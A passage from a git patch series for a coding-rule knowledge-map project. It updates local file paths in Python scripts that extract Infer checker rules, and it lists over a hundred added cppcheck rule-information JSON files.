r"C:\Poorcomputer\Study\软件所实习\静态分析工具规则知识图谱\infer-main\infer-main\infer\tests\codetoanalyze" -output_root_dir = r"C:\Poorcomputer\Study\软件所实习\静态分析工具规则知识图谱\infer\Rule formation\checkers" +checker_file = r"C:\Poorcomputer\Study\Github\infer\infer\src\base\Checker.ml" +src_root_dir = r"C:\Poorcomputer\Study\Github\infer\infer\src" +test_base_dir = r"C:\Poorcomputer\Study\Github\infer\infer\tests\codetoanalyze" +output_root_dir = r"C:\Poorcomputer\Study\Github\CodingRuleMap\Raw Data\Static Analysis Tool\infer\Rule formation\checkers" os.makedirs(output_root_dir, exist_ok=True) diff --git a/Raw Data/Static Analysis Tool/infer/Scripts/infer-groups.py b/Raw Data/Static Analysis Tool/infer/Scripts/infer-groups.py index 6bb5ce9..62d0df1 100644 --- a/Raw Data/Static Analysis Tool/infer/Scripts/infer-groups.py +++ b/Raw Data/Static Analysis Tool/infer/Scripts/infer-groups.py @@ -2,9 +2,10 @@ import re import json -checker_ml_path = r"C:\Poorcomputer\Study\软件所实习\静态分析工具规则知识图谱\infer-main\infer-main\infer\src\base\Checker.ml" -src_base_dir = r"C:\Poorcomputer\Study\软件所实习\静态分析工具规则知识图谱\infer-main\infer-main\infer\src" -output_dir = r"C:\Poorcomputer\Study\软件所实习\静态分析工具规则知识图谱\infer\Rule formation\groups" +checker_ml_path = r"C:\Poorcomputer\Study\Github\infer\infer\src\base\Checker.ml" +src_base_dir = r"C:\Poorcomputer\Study\Github\infer\infer\src" +output_dir = r"C:\Poorcomputer\Study\Github\CodingRuleMap\Raw Data\Static Analysis Tool\infer\Rule formation\groups" + # 提取所有规则名 with open(checker_ml_path, encoding='utf-8') as f: diff --git a/Raw Data/Static Analysis Tool/infer/Scripts/infer-modules.py b/Raw Data/Static Analysis Tool/infer/Scripts/infer-modules.py index acf6677..95b8fe8 100644 --- a/Raw Data/Static Analysis Tool/infer/Scripts/infer-modules.py +++ b/Raw Data/Static Analysis Tool/infer/Scripts/infer-modules.py @@ -2,9 +2,10 @@ import re import json -checker_ml_path = r"C:\Poorcomputer\Study\软件所实习\静态分析工具规则知识图谱\infer-main\infer-main\infer\src\base\Checker.ml" -src_root_dir = r"C:\Poorcomputer\Study\软件所实习\静态分析工具规则知识图谱\infer-main\infer-main\infer\src" -output_json_path = r"C:\Poorcomputer\Study\软件所实习\静态分析工具规则知识图谱\infer\Rule formation\modules\infer-modules.json" +checker_ml_path = r"C:\Poorcomputer\Study\Github\infer\infer\src\base\Checker.ml" +src_root_dir = r"C:\Poorcomputer\Study\Github\infer\infer\src" +output_json_path = r"C:\Poorcomputer\Study\Github\CodingRuleMap\Raw Data\Static Analysis Tool\infer\Rule formation\modules\infer-modules.json" + pattern = re.compile(r"\|\s*(\w+)\s*->\s*\{", re.MULTILINE) with open(checker_ml_path, "r", encoding="utf-8") as f: From 2983d60620b8ce45a6e2e54a011b7d3d5486c13f Mon Sep 17 00:00:00 2001 From: Meiosis <145437200+Meiosis-Poor@users.noreply.github.com> Date: Sun, 3 Aug 2025 12:43:41 +0800 Subject: [PATCH 3/7] update cppcheck --- .../pointerassignment.json | 13 ++ .../CheckAssert/assertWithSideEffects.json | 13 ++ .../CheckAutoVariables/assignFunctionArg.json | 13 ++ .../CheckAutoVariables/autoVariables.json | 22 ++++ .../CheckAutoVariables/checkVarLifetime.json | 13 ++ .../CheckBool/checkAssignBoolToFloat.json | 22 ++++ .../CheckBool/checkAssignBoolToPointer.json | 22 ++++ .../CheckBool/checkBitwiseOnBoolean.json | 22 ++++ ...heckComparisonOfBoolExpressionWithInt.json | 25 ++++ .../checkComparisonOfBoolWithBool.json | 22 ++++ .../checkComparisonOfBoolWithInt.json | 31 +++++ .../checkComparisonOfFuncReturningBool.json | 29 +++++ .../CheckBool/checkIncrementBoolean.json | 22 ++++ .../checkers/CheckBool/pointerArithBool.json | 22 ++++ .../returnValueOfFunctionReturningBool.json | 13 ++ .../analyseWholeProgram.json | 13 ++ .../CheckBufferOverrun/argumentSize.json | 13 ++ .../CheckBufferOverrun/arrayIndex.json | 25 ++++ .../arrayIndexThenCheck.json | 22 ++++ .../CheckBufferOverrun/bufferOverflow.json | 13 ++ .../CheckBufferOverrun/negativeArraySize.json | 22 ++++ .../CheckBufferOverrun/objectIndex.json | 22 ++++ .../CheckBufferOverrun/pointerArithmetic.json | 13 ++ .../stringNotZeroTerminated.json | 13 ++ .../CheckClass/analyseWholeProgram.json | 13 ++ .../checkers/CheckClass/checkConst.json | 121 ++++++++++++++++++ .../CheckClass/checkConstructors.json | 13 ++ .../CheckClass/checkCopyConstructors.json | 13 ++ .../CheckClass/checkDuplInheritedMembers.json | 22 ++++ .../CheckClass/checkExplicitConstructors.json | 22 ++++ .../checkers/CheckClass/checkMemset.json | 13 ++ .../CheckClass/checkMissingOverride.json | 13 ++ .../CheckClass/checkReturnByReference.json | 22 ++++ .../CheckClass/checkSelfInitialization.json | 22 ++++ .../CheckClass/checkThisUseAfterFree.json | 22 ++++ .../CheckClass/checkUnsafeClassRefMember.json | 22 ++++ .../CheckClass/checkUselessOverride.json | 22 ++++ ...checkVirtualFunctionCallInConstructor.json | 22 ++++ .../CheckClass/initializationListUsage.json | 22 ++++ .../CheckClass/initializerListOrder.json | 22 ++++ .../CheckClass/operatorEqRetRefThis.json | 28 ++++ .../checkers/CheckClass/operatorEqToSelf.json | 30 +++++ .../checkers/CheckClass/privateFunctions.json | 13 ++ .../checkers/CheckClass/thisSubtraction.json | 22 ++++ .../CheckClass/virtualDestructor.json | 27 ++++ .../CheckCondition/alwaysTrueFalse.json | 13 ++ .../checkers/CheckCondition/assignIf.json | 13 ++ .../checkAssignmentInCondition.json | 22 ++++ .../CheckCondition/checkBadBitmaskCheck.json | 22 ++++ .../checkCompareValueOutOfTypeRange.json | 13 ++ .../checkDuplicateConditionalAssign.json | 22 ++++ .../checkIncorrectLogicOperator.json | 38 ++++++ .../checkInvalidTestForOverflow.json | 22 ++++ .../checkModuloAlwaysTrueFalse.json | 13 ++ .../checkPointerAdditionResultNotNull.json | 22 ++++ .../CheckCondition/clarifyCondition.json | 29 +++++ .../checkers/CheckCondition/comparison.json | 22 ++++ .../CheckCondition/duplicateCondition.json | 22 ++++ .../CheckCondition/multiCondition.json | 13 ++ .../checkCatchExceptionByValue.json | 22 ++++ .../checkRethrowCopy.json | 26 ++++ .../CheckExceptionSafety/deallocThrow.json | 24 ++++ .../CheckExceptionSafety/destructors.json | 22 ++++ .../CheckExceptionSafety/nothrowThrows.json | 13 ++ .../rethrowNoCurrentException.json | 24 ++++ .../unhandledExceptionSpecification.json | 24 ++++ .../checkIgnoredReturnValue.json | 22 ++++ .../CheckFunctions/checkMathFunctions.json | 13 ++ .../CheckFunctions/checkMissingReturn.json | 27 ++++ .../checkProhibitedFunctions.json | 22 ++++ .../CheckFunctions/invalidFunctionUsage.json | 22 ++++ .../CheckFunctions/memsetInvalid2ndParam.json | 22 ++++ .../CheckFunctions/memsetZeroBytes.json | 22 ++++ .../CheckFunctions/returnLocalStdMove.json | 26 ++++ .../CheckFunctions/useStandardLibrary.json | 35 +++++ .../CheckIO/checkCoutCerrMisusage.json | 22 ++++ .../checkers/CheckIO/checkFileUsage.json | 13 ++ .../checkWrongPrintfScanfArguments.json | 13 ++ .../checkers/CheckIO/invalidScanf.json | 13 ++ .../checkers/CheckLeakAutoVar/check.json | 23 ++++ .../CheckNullPointer/analyseWholeProgram.json | 13 ++ .../checkers/CheckNullPointer/arithmetic.json | 22 ++++ .../nullConstantDereference.json | 22 ++++ .../CheckNullPointer/nullPointer.json | 118 +++++++++++++++++ .../checkAccessOfMovedVariable.json | 13 ++ .../CheckOther/checkCastIntToCharAndBack.json | 22 ++++ .../CheckOther/checkCharVariable.json | 13 ++ .../CheckOther/checkComparePointers.json | 22 ++++ ...ComparisonFunctionIsAlwaysTrueOrFalse.json | 22 ++++ .../CheckOther/checkConstPointer.json | 22 ++++ .../CheckOther/checkConstVariable.json | 22 ++++ .../CheckOther/checkDuplicateBranch.json | 28 ++++ .../CheckOther/checkDuplicateExpression.json | 39 ++++++ .../CheckOther/checkEvaluationOrder.json | 24 ++++ .../checkFuncArgNamesDifferent.json | 22 ++++ .../CheckOther/checkIncompleteArrayFill.json | 22 ++++ .../CheckOther/checkIncompleteStatement.json | 13 ++ .../CheckOther/checkInterlockedDecrement.json | 22 ++++ .../checkers/CheckOther/checkInvalidFree.json | 22 ++++ .../CheckOther/checkKnownArgument.json | 22 ++++ .../CheckOther/checkKnownPointerToBool.json | 22 ++++ .../CheckOther/checkMisusedScopedObject.json | 13 ++ .../checkers/CheckOther/checkModuloOfOne.json | 22 ++++ .../checkNanInArithmeticExpression.json | 22 ++++ .../CheckOther/checkNegativeBitwiseShift.json | 13 ++ .../CheckOther/checkOverlappingWrite.json | 22 ++++ .../CheckOther/checkPassByReference.json | 22 ++++ .../CheckOther/checkRedundantAssignment.json | 22 ++++ .../CheckOther/checkRedundantCopy.json | 22 ++++ .../CheckOther/checkRedundantPointerOp.json | 22 ++++ .../CheckOther/checkShadowVariables.json | 22 ++++ .../checkSignOfUnsignedVariable.json | 22 ++++ .../checkSuspiciousCaseInSwitch.json | 13 ++ .../CheckOther/checkSuspiciousSemicolon.json | 24 ++++ .../CheckOther/checkUnreachableCode.json | 22 ++++ .../checkers/CheckOther/checkUnusedLabel.json | 22 ++++ .../CheckOther/checkVarFuncNullUB.json | 22 ++++ .../CheckOther/checkVariableScope.json | 13 ++ .../CheckOther/checkZeroDivision.json | 22 ++++ .../CheckOther/clarifyCalculation.json | 22 ++++ .../checkers/CheckOther/clarifyStatement.json | 22 ++++ .../CheckOther/invalidPointerCast.json | 22 ++++ .../suspiciousFloatingPointCast.json | 22 ++++ .../CheckOther/warningDangerousTypeCast.json | 22 ++++ .../CheckOther/warningIntToPointerCast.json | 22 ++++ .../warningOldStylePointerCast.json | 22 ++++ .../CheckPostfixOperator/postfixOperator.json | 13 ++ .../checkSizeofForArrayParameter.json | 22 ++++ .../checkSizeofForNumericParameter.json | 22 ++++ .../checkSizeofForPointerSize.json | 13 ++ .../CheckSizeof/sizeofCalculation.json | 22 ++++ .../checkers/CheckSizeof/sizeofFunction.json | 22 ++++ .../checkers/CheckSizeof/sizeofVoid.json | 22 ++++ .../checkers/CheckSizeof/sizeofsizeof.json | 22 ++++ .../suspiciousSizeofCalculation.json | 22 ++++ .../checkDereferenceInvalidIterator.json | 23 ++++ .../checkers/CheckStl/checkFindInsert.json | 22 ++++ .../checkers/CheckStl/checkMutexes.json | 22 ++++ .../checkers/CheckStl/erase.json | 27 ++++ .../CheckStl/eraseIteratorOutOfBounds.json | 22 ++++ .../checkers/CheckStl/if_find.json | 22 ++++ .../checkers/CheckStl/invalidContainer.json | 22 ++++ .../checkers/CheckStl/iterators.json | 13 ++ .../CheckStl/knownEmptyContainer.json | 22 ++++ .../misMatchingContainerIterator.json | 22 ++++ .../CheckStl/misMatchingContainers.json | 13 ++ .../checkers/CheckStl/missingComparison.json | 13 ++ .../checkers/CheckStl/negativeIndex.json | 22 ++++ .../checkers/CheckStl/outOfBounds.json | 22 ++++ .../CheckStl/outOfBoundsIndexExpression.json | 22 ++++ .../checkers/CheckStl/redundantCondition.json | 22 ++++ .../checkers/CheckStl/size.json | 25 ++++ .../checkers/CheckStl/stlBoundaries.json | 27 ++++ .../checkers/CheckStl/stlOutOfBounds.json | 13 ++ .../checkers/CheckStl/string_c_str.json | 13 ++ .../checkers/CheckStl/useStlAlgorithm.json | 13 ++ .../checkers/CheckStl/uselessCalls.json | 22 ++++ .../checkAlwaysTrueOrFalseStringCompare.json | 13 ++ .../checkIncorrectStringCompare.json | 22 ++++ .../checkSuspiciousStringCompare.json | 22 ++++ .../CheckString/overlappingStrcmp.json | 13 ++ .../CheckString/sprintfOverlappingData.json | 13 ++ .../checkers/CheckString/strPlusChar.json | 25 ++++ .../CheckString/stringLiteralWrite.json | 22 ++++ .../checkFloatToIntegerOverflow.json | 22 ++++ .../CheckType/checkIntegerOverflow.json | 23 ++++ .../checkers/CheckType/checkLongCast.json | 13 ++ .../CheckType/checkSignConversion.json | 22 ++++ .../CheckType/checkTooBigBitwiseShift.json | 13 ++ .../CheckUninitVar/analyseWholeProgram.json | 13 ++ .../checkers/CheckUninitVar/check.json | 23 ++++ .../CheckUninitVar/valueFlowUninit.json | 22 ++++ .../checkers/CheckUnusedFunctions/check.json | 25 ++++ .../checkFunctionVariableUsage.json | 22 ++++ .../checkStructMemberUsage.json | 22 ++++ .../checkers/CheckVaarg/va_list_usage.json | 22 ++++ .../CheckVaarg/va_start_argument.json | 22 ++++ 177 files changed, 3803 insertions(+) create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/Check64BitPortability/pointerassignment.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckAssert/assertWithSideEffects.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckAutoVariables/assignFunctionArg.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckAutoVariables/autoVariables.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckAutoVariables/checkVarLifetime.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBool/checkAssignBoolToFloat.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBool/checkAssignBoolToPointer.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBool/checkBitwiseOnBoolean.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBool/checkComparisonOfBoolExpressionWithInt.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBool/checkComparisonOfBoolWithBool.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBool/checkComparisonOfBoolWithInt.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBool/checkComparisonOfFuncReturningBool.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBool/checkIncrementBoolean.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBool/pointerArithBool.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBool/returnValueOfFunctionReturningBool.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBufferOverrun/analyseWholeProgram.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBufferOverrun/argumentSize.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBufferOverrun/arrayIndex.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBufferOverrun/arrayIndexThenCheck.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBufferOverrun/bufferOverflow.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBufferOverrun/negativeArraySize.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBufferOverrun/objectIndex.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBufferOverrun/pointerArithmetic.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBufferOverrun/stringNotZeroTerminated.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/analyseWholeProgram.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkConst.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkConstructors.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkCopyConstructors.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkDuplInheritedMembers.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkExplicitConstructors.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkMemset.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkMissingOverride.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkReturnByReference.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkSelfInitialization.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkThisUseAfterFree.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkUnsafeClassRefMember.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkUselessOverride.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkVirtualFunctionCallInConstructor.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/initializationListUsage.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/initializerListOrder.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/operatorEqRetRefThis.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/operatorEqToSelf.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/privateFunctions.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/thisSubtraction.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/virtualDestructor.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/alwaysTrueFalse.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/assignIf.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/checkAssignmentInCondition.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/checkBadBitmaskCheck.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/checkCompareValueOutOfTypeRange.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/checkDuplicateConditionalAssign.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/checkIncorrectLogicOperator.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/checkInvalidTestForOverflow.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/checkModuloAlwaysTrueFalse.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/checkPointerAdditionResultNotNull.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/clarifyCondition.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/comparison.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/duplicateCondition.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/multiCondition.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckExceptionSafety/checkCatchExceptionByValue.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckExceptionSafety/checkRethrowCopy.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckExceptionSafety/deallocThrow.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckExceptionSafety/destructors.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckExceptionSafety/nothrowThrows.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckExceptionSafety/rethrowNoCurrentException.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckExceptionSafety/unhandledExceptionSpecification.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckFunctions/checkIgnoredReturnValue.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckFunctions/checkMathFunctions.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckFunctions/checkMissingReturn.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckFunctions/checkProhibitedFunctions.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckFunctions/invalidFunctionUsage.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckFunctions/memsetInvalid2ndParam.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckFunctions/memsetZeroBytes.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckFunctions/returnLocalStdMove.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckFunctions/useStandardLibrary.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckIO/checkCoutCerrMisusage.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckIO/checkFileUsage.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckIO/checkWrongPrintfScanfArguments.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckIO/invalidScanf.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckLeakAutoVar/check.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckNullPointer/analyseWholeProgram.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckNullPointer/arithmetic.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckNullPointer/nullConstantDereference.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckNullPointer/nullPointer.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkAccessOfMovedVariable.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkCastIntToCharAndBack.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkCharVariable.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkComparePointers.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkComparisonFunctionIsAlwaysTrueOrFalse.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkConstPointer.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkConstVariable.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkDuplicateBranch.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkDuplicateExpression.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkEvaluationOrder.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkFuncArgNamesDifferent.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkIncompleteArrayFill.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkIncompleteStatement.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkInterlockedDecrement.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkInvalidFree.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkKnownArgument.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkKnownPointerToBool.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkMisusedScopedObject.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkModuloOfOne.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkNanInArithmeticExpression.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkNegativeBitwiseShift.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkOverlappingWrite.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkPassByReference.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkRedundantAssignment.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkRedundantCopy.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkRedundantPointerOp.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkShadowVariables.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkSignOfUnsignedVariable.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkSuspiciousCaseInSwitch.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkSuspiciousSemicolon.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkUnreachableCode.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkUnusedLabel.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkVarFuncNullUB.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkVariableScope.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkZeroDivision.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/clarifyCalculation.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/clarifyStatement.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/invalidPointerCast.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/suspiciousFloatingPointCast.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/warningDangerousTypeCast.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/warningIntToPointerCast.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/warningOldStylePointerCast.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckPostfixOperator/postfixOperator.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckSizeof/checkSizeofForArrayParameter.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckSizeof/checkSizeofForNumericParameter.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckSizeof/checkSizeofForPointerSize.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckSizeof/sizeofCalculation.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckSizeof/sizeofFunction.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckSizeof/sizeofVoid.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckSizeof/sizeofsizeof.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckSizeof/suspiciousSizeofCalculation.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/checkDereferenceInvalidIterator.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/checkFindInsert.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/checkMutexes.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/erase.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/eraseIteratorOutOfBounds.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/if_find.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/invalidContainer.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/iterators.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/knownEmptyContainer.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/misMatchingContainerIterator.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/misMatchingContainers.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/missingComparison.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/negativeIndex.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/outOfBounds.json create mode 100644 Raw Data/Static 